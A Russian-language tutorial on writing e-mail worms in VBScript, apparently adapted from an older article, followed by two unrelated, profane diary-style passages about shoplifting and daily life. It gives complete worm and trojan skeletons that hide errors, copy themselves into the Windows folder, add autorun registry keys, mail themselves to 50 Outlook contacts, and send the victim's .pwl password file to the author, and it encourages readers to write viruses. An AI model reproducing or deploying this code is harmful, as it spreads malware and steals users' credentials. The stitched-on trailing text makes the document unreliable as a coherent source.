На идею написания статьи меня натолкнула статья How to write an E-Mail-Worm in VBScript написанная DaSRo, я даже не стал изменять ее название. Просто постарался сделать описание более подробным и разбить пример на составные части, на которых легче объяснить идею создания почтовый Internet – червей.
Начнем, как всегда с истории. Самым знаменитым и нашумевшим стал I-Worm.LoveLetter (классификация Kaspersky lab.), вызвавший массовое поражение компьютеров и сетей в начале мая 2000 года. Для своего запуска он использовал "дыру" в системе безопасности MS Windows, которая позволяла запускаться файлам с расширением .vbs, присоединенных к почтовому отправлению. Позже эта "дыра" была заделана, но сама идея написания E-mail worm на Windows Scripting Host (WSH) пришлась по душе virmaker – ам, тем более что глубоких знаний в программировании не требовалось. Достаточно было знать основы программирования на Visual Basic или другом объектно-ориентированном языке.
Теперь немного о самом WSH. Необходимость в создании нового командного языка возникла при переходе на платформу Win9x и NT, так как старые .bat файлы уже не могли обеспечить должной гибкости при автоматизации процессов настройки операционной среды. Был создан независимый от языка скрипт – хост, который позволял строить аналоги .bat файлов на VBScript, JScript и других скриптовых языках, например, Active Perl или Python.
Как ни хороши скриптовые языки, много с ними не сотворишь. Они не способны, повлиять на что-либо за пределами родного скрипта. Эти языки не имеют прямых инструкций, позволяющих читать и записывать файлы на диске, выводить информацию в командную строку, изменять записи в реестре и так далее.
Чтобы справиться с такими задачами, нужно воспользоваться дополнительными COM – объектами. Ряд таких объектов входит в поставку WSH, а один из них, WScript, даже уже имеет созданный экземпляр, и им можно пользоваться непосредственно, без предварительного создания. Остальные создаются с помощью синтаксиса, соответствующего конкретному языку или функции WScript.CreateObject.
Подробнее о WSH можно прочитать здесь.
Настало время перейти непосредственно к описанию программного кода. Для написания примеров будем использовать Visual Basic Scripting Edition, на котором написано подавляющие большинство Internet – червей.
Начнем с инструкций Option Explicit и On Error Resume Next, первая необходима при отладке кода, она запрещает использование не объявленной ранее переменной, а вторая подавляет обработчик ошибок.
Option Explicit Dim FileSysObject, File Set FileSysObject = CreateObject ("Scripting.FileSystemObject") Set File = FileSysObject.GetFile(WScript.ScriptFullName)
В данном примере используются переменные FileSysObject и File, и если при создании скрипта вы допустите ошибку, написав FileSysObiect, интерпретатор сообщит вам, что используется необъявленная, в операторе Dim, переменная. Такие ошибки находить очень трудно, так как они зачастую меняют всю логику работы программы. Перейдем к инструкции On Error Resume Next, эта инструкция означает, что любая возникшая ошибка будет обработана программным кодом позднее, а в нашем случае никогда. Это позволяет запретить выдачу системных сообщений об ошибках и замаскировать работу скрипта.
Теперь опишем третью и четвертую строки примера:
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Присваиваем переменной FileSysObject ссылку на объект COM-компоненты WSH File System Object. С помощью метода GetFile присвоим переменной File ссылку на командную строку местоположения исполняемого файла.
Скопируем скрипт в c:\windows, для дальнейшего использования.
File.Copy ("c:\windows\I_am_virus.vbs")
Присвоим переменной WshShell ссылку на объект COM-компоненты WSH позволяющую менять настройки системы и запускать приложения.
Dim WshShell Set WshShell = WScript.CreateObject("WScript.Shell")
Теперь мы смело можем управлять захваченным компьютером.
Сначала пропишем свой "страшный вирус" в реестр, для повторного запуска после перезагрузки, хотя для E-mail worm это и необязательно, как в прочем и процедура копирования.
Следующий шаг за вашей фантазией, можно скопировать из Internet более сложный вирус, как делал I-Worm.LoveLetter, и запустить его, отослать вам файл с паролями, или просто и скучно перепортить кучу файлов.
И, наконец, мы переходим к "сердцу" каждого Internet – червя, процедуре рассылки.
Создаем ссылку на объект самого распространенного почтового клиента Outlook.
Dim OutlookObject, OutMail, Index Set OutlookObject = CreateObject("Outlook.Application")
Зададим цикл, в ходе которого разошлем зараженные письма по первым 50 адресам, занесенным в адресную книгу.
Вот вы и стали писателями вирусов. Чувствуете подъем? Опуститесь на землю, это только каркас, заполнить его, ваша задача. Удачи!
Каркас E-mail worm
On Error Resume Next Dim FileSysObject, File Set FileSysObject = CreateObject ("Scripting.FileSystemObject") Set File = FileSysObject.GetFile(WScript.ScriptFullName) Dim OutlookObject, OutMail, Index Set OutlookObject = CreateObject("Outlook.Application") For Index = 1 To 50 Set OutMail = OutlookObject.CreateItem(0) OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index) OutMail.Subject = "Тема сообщения" OutMail.Body = "Тело сообщения" OutMail.Attachments.Add(File) OutMail.Send Next
Каркас "троянского коня"
On Error Resume Next Dim FileSysObject, File Set FileSysObject = CreateObject ("Scripting.FileSystemObject") Set File = FileSysObject.GetFile(WScript.ScriptFullName) File.Copy ("c:\windows\I_am_virus.vbs") Dim WshShell Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _ CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs" Dim OutlookObject, OutMail, Index Set OutlookObject = CreateObject("Outlook.Application") For Index = 1 To 50 Set OutMail = OutlookObject.CreateItem(0) OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index) OutMail.Subject = "Тема сообщения" OutMail.Body = "Тело сообщения" OutMail.Attachments.Add(File) OutMail.Send Next Set OutMail = OutlookObject.CreateItem(0) OutMail.to = "Ваш E-mail" OutMail.Subject = "Тема сообщения" OutMail.Body = "Тело сообщения" OutMail.Attachments.Add("Путь к .pwl файлу") OutMail.Send
P.S. Весь приведенный программный код не может быть использован, для написания вирусов, в чистом виде, так как данная статья была написана в ознакомительных целях. При написании, умышленно, были использованы фрагменты программного кода, определяемые и блокируемые самыми распространенными антивирусными программами.
наскреб медяков, хватило на литр подсолнечного. на литр поднебесного не хватило. спиздил три упаковки шайб из салями. на обратном пути встретил местного коляса, который под какой-то олдовый роцк патрулировал местный парк на мотоколяске как передовой авангард вермахта на Украине. пожарил немного картохи, находившейся со вчерашнего дня в отключенном холодильнике. вроде не прокисла, но будем посмотреть
вдруг, откуда ни возмись, налетел жестокий ливень и насаживать на бивень не поеду завтра я. никого и нихуя. что ж ты фраер сдал назад. планам суждено не сбыться, а ебаться за границей дело вежливых ребят. так в народе говорят